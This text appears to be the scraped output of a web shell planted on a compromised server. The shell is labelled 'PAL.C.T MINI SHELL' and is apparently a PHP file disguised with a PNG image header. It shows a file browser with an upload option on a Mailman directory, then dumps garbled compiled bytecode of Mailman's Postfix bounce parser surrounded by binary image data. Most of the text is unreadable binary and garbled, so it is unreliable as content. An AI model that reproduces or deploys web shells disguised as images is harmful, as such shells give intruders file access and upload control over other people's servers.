php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Bouncers/
upload
files >> //usr/lib/mailman/Mailman/Bouncers/Postfix.pyo

Pc@szdZddkZddklZdZeideiZeideiZeidZ	dZ
d	ZdS(
sTParse bounce messages generated by Postfix.

This also matches something called `Keftamail' which looks just like Postfix
bounces with the word Postfix scratched out and the word `Keftamail' written
in in crayon.

It also matches something claiming to be `The BNS Postfix program', and
`SMTP_Gateway'.  Everybody's gotta be different, huh?
iN(tStringIOcCsF|io(x2|iD]}t||qWn|i|dS(N(tis_multiparttget_payloadtflattentappend(tmsgtleavestpart((sa/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/Postfix.pyR s


s5[ \t]*the\s*(bns)?\s*(postfix|keftamail|smtp_gateway)sfailure reason:$s<(?P<addr>[^>]*)>:cCsg}t|i}d}x|i}|pPn|i}|djo*ti|pti|o
d}q!|djo;|o4ti|}|o|i	|i
dqq!q!|S(Niitaddr(RRtreadlinetrstriptpcretmatchtrcretacretsearchRtgroup(Rtaddrstbodytstatetlinetmo((sa/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/Postfix.pytfindaddr0s-
!cCs}|idjodSg}t||xK|D]C}|idjo*|iddidjot|Sq2WdS(Nsmultipart/mixedsmultipart/reports
text/plainscontent-descriptionttnotification(smultipart/mixedsmultipart/report(tget_content_typetNoneRtgettlowerR(RRtsubpart((sa/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/Postfix.pytprocessIs
(t__doc__tret	cStringIORRtcompilet
IGNORECASERR
RRR(((sa/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/Postfix.pyt<module>s			
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`